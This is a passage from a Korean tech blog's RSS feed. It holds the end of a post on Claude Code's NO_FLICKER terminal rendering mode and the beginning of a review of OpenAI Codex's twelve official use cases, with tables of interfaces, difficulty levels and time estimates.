      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;export CLAUDE_CODE_NO_FLICKER=1&lt;/code&gt;을
    추가한다. tmux 사용자는 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;set -g mouse on&lt;/code&gt;도
    확인한다. 스크롤 속도가 맞지 않으면 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_SCROLL_SPEED=3&lt;/code&gt;으로
    조정한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;운영 반영&lt;/b&gt;: 팀 공유 dotfiles에 해당 환경변수를 추가한다. 단, tmux -CC 사용자가 있다면 해당 환경에서는 제외해야 한다. research
    preview 상태이므로 주요 업데이트 시 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://code.claude.com/docs/en/fullscreen&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;를 재확인한다.&lt;/p&gt;
  &lt;!-- 결론 콜아웃 --&gt;
  &lt;div
    style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;p style=&quot;margin: 0 0 8px 0; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;정리&lt;/p&gt;
    &lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;NO_FLICKER 모드는 &lt;b&gt;CLAUDE_CODE_NO_FLICKER=1&lt;/b&gt; 하나로 활성화되며, alternate
      screen buffer와 viewport 가상화를 통해 터미널 깜빡임을 근본적으로 제거한다. tmux -CC 환경을 제외한 대부분의 사용 환경에서 켜는 것이 이득이다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;!-- 참고자료 --&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고자료&lt;/b&gt;&lt;/h2&gt;
  &lt;ul style=&quot;padding-left: 20px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
        href=&quot;https://code.claude.com/docs/en/fullscreen&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code 공식 문서 &amp;mdash;
        Fullscreen rendering&lt;/a&gt;&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
        href=&quot;https://github.com/anthropics/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code GitHub 공식 저장소&lt;/a&gt;
    &lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
        href=&quot;https://news.ycombinator.com/item?id=46699072&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News &amp;mdash; Claude
        Code NO_FLICKER 릴리즈 토론&lt;/a&gt;&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
        href=&quot;https://news.ycombinator.com/item?id=46701013&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News &amp;mdash;
        chrislloyd 렌더링 파이프라인 설명&lt;/a&gt;&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
        href=&quot;https://x.com/bcherny/status/2039421575422980329&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;boris_cherny X/Twitter
        &amp;mdash; NO_FLICKER 트레이드오프 공개&lt;/a&gt;&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
        href=&quot;https://sathwick.xyz/blog/claude-code.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;sathwick &amp;mdash; Claude Code
        렌더링 파이프라인 분석&lt;/a&gt;&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
        href=&quot;https://en.wikipedia.org/wiki/ANSI_escape_code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wikipedia &amp;mdash; ANSI
        escape code&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;!-- 푸터 --&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>alternate screen buffer</category>
      <category>claude code</category>
      <category>Claude Code NO_FLICKER</category>
      <category>Claude Code 깜빡임 문제</category>
      <category>Claude Code 터미널 깜빡임</category>
      <category>fullscreen rendering</category>
      <category>NO_FLICKER</category>
      <category>NO_FLICKER 모드</category>
      <category>terminal flicker</category>
      <category>viewport virtualization</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/574</guid>
      <comments>https://goddaehee.tistory.com/574#entry574comment</comments>
      <pubDate>Thu, 2 Apr 2026 19:30:36 +0900</pubDate>
    </item>
    <item>
      <title>OpenAI Codex 공식 유즈케이스 12가지 살펴보기 : Codex로 뭘 할 수 있나? 공식 12가지 사례 한국어 정리</title>
      <link>https://goddaehee.tistory.com/573</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; color: #333; box-sizing: border-box;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; color: #333; box-sizing: border-box; padding: 0 16px;&quot;&gt;
&lt;script type=&quot;application/ld+json&quot;&gt;
{
  &quot;@context&quot;: &quot;https://schema.org&quot;,
  &quot;@type&quot;: &quot;Article&quot;,
  &quot;headline&quot;: &quot;OpenAI Codex 공식 활용 사례 12가지 완전 가이드 2026&quot;,
  &quot;description&quot;: &quot;OpenAI가 공식 문서로 정리한 Codex 활용 사례 12가지를 심층 분석. 스타터 프롬프트 패턴, 카테고리별 실전 적용 방법, 한국 개발자를 위한 시작 로드맵까지.&quot;,
  &quot;datePublished&quot;: &quot;2026-03-30&quot;,
  &quot;author&quot;: {&quot;@type&quot;: &quot;Person&quot;, &quot;name&quot;: &quot;갓대희&quot;},
  &quot;publisher&quot;: {&quot;@type&quot;: &quot;Organization&quot;, &quot;name&quot;: &quot;갓대희의 블로그&quot;},
  &quot;mainEntityOfPage&quot;: {&quot;@type&quot;: &quot;WebPage&quot;}
}
&lt;/script&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 OpenAI Codex 공식 유즈케이스 12가지, Codex로 뭘 할 수 있나 공식문서를 리뷰해보려고한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2360&quot; data-origin-height=&quot;1534&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d6DWQ5/dJMcabRdel9/BWzIf3sS2qWhPNK4mxJ2Kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d6DWQ5/dJMcabRdel9/BWzIf3sS2qWhPNK4mxJ2Kk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d6DWQ5/dJMcabRdel9/BWzIf3sS2qWhPNK4mxJ2Kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd6DWQ5%2FdJMcabRdel9%2FBWzIf3sS2qWhPNK4mxJ2Kk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2360&quot; height=&quot;1534&quot; data-origin-width=&quot;2360&quot; data-origin-height=&quot;1534&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 목차 ===== --&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 2px solid #cce5ff; border-radius: 12px; padding: 24px 28px; margin: 24px 0;&quot;&gt;
&lt;p style=&quot;font-size: 17px; font-weight: bold; color: #1a3a52; margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;목차&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 22px; line-height: 2.0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#intro&quot;&gt;Codex가 뭔지 모르는 사람을 위한 30초 정리&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#why-now&quot;&gt;왜 지금 이 공식 문서가 중요한가&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#map&quot;&gt;12가지 유즈케이스 전체 지도&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#engineering&quot;&gt;Engineering 심층: PR 리뷰 &amp;middot; 코드베이스 이해 &amp;middot; 어려운 문제 반복&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#frontend&quot;&gt;Front-end 심층: 반응형 디자인 &amp;middot; Figma&amp;rarr;코드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#data-automation&quot;&gt;Data &amp;amp; Automation: 데이터 분석 &amp;middot; 슬라이드 &amp;middot; Slack &amp;middot; API 업그레이드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#mobile-chatgpt&quot;&gt;Mobile &amp;amp; ChatGPT: iOS 앱 &amp;middot; ChatGPT 앱 &amp;middot; 브라우저 게임&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#prompt-patterns&quot;&gt;스타터 프롬프트 패턴 분석&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#roadmap&quot;&gt;한국 개발자를 위한 실전 시작 로드맵&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#conclusion&quot;&gt;결론: 공식 유즈케이스의 진짜 가치&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#workflow&quot;&gt;부록: 이 글을 만든 AI 워크플로우 (/deep-research-blog)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#references&quot;&gt;참고 자료&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- ===== 3줄 요약 ===== --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 5px solid #0066cc; border-radius: 0 8px 8px 0; padding: 20px 24px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #0066cc; margin: 0 0 10px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 글 3줄 요약&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;OpenAI가 Codex 공식 활용 사례 12가지를 카테고리&amp;middot;난이도&amp;middot;스타터 프롬프트와 함께 정리했다.&lt;/li&gt;
&lt;li&gt;&quot;뻔한 내용&quot;이라는 반응을 뒤집는 심층 분석: 프롬프트 패턴과 AGENTS.md 시스템이 핵심이다.&lt;/li&gt;
&lt;li&gt;초보자는 Easy 4개(PR 리뷰, 코드베이스 이해, Slack, 슬라이드 덱)부터, 중급자는 Intermediate 5개로 확장하면 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- ===== 섹션 1 ===== --&gt;
&lt;h2 id=&quot;intro&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Codex가 뭔지 모르는 사람을 위한 30초 정리&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenAI Codex는 코드를 생성&amp;middot;이해&amp;middot;검토&amp;middot;디버그하는 AI 코딩 에이전트이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ChatGPT의 채팅 인터페이스와 달리 &lt;b&gt;클라우드 환경에서 독립적으로 긴 작업을 수행&lt;/b&gt;한다. 사용자가 지시하면 Codex는 파일을 읽고, 코드를 수정하고, 테스트를 실행하고, 결과를 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서에 따르면 Codex는 다음 구독 플랜에서 사용 가능하다: &lt;b&gt;ChatGPT Plus, Pro, Business, Edu, Enterprise&lt;/b&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://developers.openai.com/codex&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;developers.openai.com/codex&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 14px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold;&quot;&gt;인터페이스&lt;/th&gt;
&lt;th style=&quot;padding: 12px 14px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;Codex App&lt;/td&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;프로젝트 사이드바, 스레드 목록, 리뷰 패널이 있는 데스크톱 앱&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;IDE Extension&lt;/td&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;슬래시 커맨드를 지원하는 IDE 통합 플러그인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;CLI&lt;/td&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;터미널 기반 인터페이스 (레퍼런스 문서 포함)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;Web Interface&lt;/td&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;환경 관리 기능이 있는 클라우드 웹 인터페이스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;Integrations&lt;/td&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;GitHub, Slack, Linear 연동 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; border-radius: 0 8px 8px 0; padding: 16px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude Code와의 차이점:&lt;/b&gt; Claude Code는 로컬 터미널에서 실행되는 Anthropic의 CLI 도구다. Codex는 OpenAI의 클라우드 에이전트로 GitHub&amp;middot;Slack 통합에 강하다. 각자의 생태계에 최적화되어 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== 섹션 2 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;why-now&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 왜 지금 이 공식 문서가 중요한가&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 3월, OpenAI는 &lt;a href=&quot;https://developers.openai.com/codex/use-cases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 Codex Use Cases 페이지&lt;/a&gt;를 공개했다. 한국 개발자 커뮤니티 GeekNews에서 이 소식이 공유됐을 때, 한 개발자는 &quot;공식 활용 예제라 기대했더니 뻔한 내용밖에 없네&quot;라는 댓글을 달았다. (출처: &lt;a href=&quot;https://news.hada.io/topic?id=27938&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekNews #27938&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제목만 보면 그 반응이 맞다. &quot;PR 리뷰&quot;, &quot;데이터 분석&quot;이라는 이름만 놓고 보면 2023년부터 봐온 내용과 다를 게 없어 보인다. 각 페이지를 직접 열어봐야 다르다는 걸 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;① 검증된 스타터 프롬프트가 공개됐다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 유즈케이스에는 &lt;b&gt;바로 복사해서 쓸 수 있는 스타터 프롬프트&lt;/b&gt;가 있다. &quot;Iterate on difficult problems&quot; 페이지의 프롬프트는 eval-driven improvement loop를 구현하는 300자 짜리 구조화된 명령어다. 이걸 처음부터 직접 짜려면 꽤 오래 걸린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;② AGENTS.md 시스템의 실전 예시가 담겨 있다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex는 저장소의 &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;AGENTS.md&lt;/code&gt; 파일을 읽고 행동 지침으로 삼는다. PR 리뷰 유즈케이스는 &quot;P0 이슈로 오탈자를 플래그하라&quot;는 구체적인 지시 예시를 보여준다. AGENTS.md를 어떻게 쓰느냐가 Codex 결과물 품질을 직접 결정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;③ 스킬/플러그인 생태계의 공식 로드맵이다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 유즈케이스에는 함께 사용하는 공식 스킬이 명시된다: $playwright-interactive, Figma MCP, $imagegen, $openai-docs 등. 이 목록은 OpenAI가 공식 문서에서 각 유즈케이스와 함께 명시한 스킬/플러그인들이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; border-radius: 0 8px 8px 0; padding: 16px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정리:&lt;/b&gt; 각 페이지 안에는 난이도 표시, 소요 시간, 실전 프롬프트, 관련 스킬이 들어 있다. 일부 페이지에는 AGENTS.md 예시도 포함된다. 제목만 봤을 때와 실제로 들어갔을 때 느낌이 다르다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== 섹션 3 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;map&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 12가지 유즈케이스 전체 지도&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 페이지의 12가지 유즈케이스를 난이도&amp;middot;소요 시간&amp;middot;카테고리 기준으로 정리하면 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://developers.openai.com/codex/use-cases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;developers.openai.com/codex/use-cases&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;#&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;유즈케이스&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;카테고리&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;난이도&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;소요 시간&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #fffbf0;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;span style=&quot;background: #0066cc; color: #fff; padding: 2px 6px; border-radius: 4px; font-size: 11px;&quot;&gt;추천&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/github-code-reviews&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;PR 자동 리뷰&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Integrations, Automation&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #d4edda; color: #155724; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Easy&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;5초&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;span style=&quot;background: #0066cc; color: #fff; padding: 2px 6px; border-radius: 4px; font-size: 11px;&quot;&gt;추천&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/frontend-designs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;반응형 프론트엔드 디자인&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Front-end, Design&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #fff3cd; color: #856404; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Intermediate&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;1시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/datasets-and-reports&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;데이터셋 분석 및 리포트&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Data, Analysis&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #fff3cd; color: #856404; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Intermediate&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;1시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/chatgpt-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ChatGPT 앱 만들기&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Integrations, Code&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #f8d7da; color: #721c24; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Advanced&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;1시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/native-ios-macos-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;iOS / macOS 앱 빌드&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Mobile, Code&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #f8d7da; color: #721c24; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Advanced&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;1시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/browser-games&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;브라우저 게임 만들기&lt;/a&gt;&lt;/td&gt;
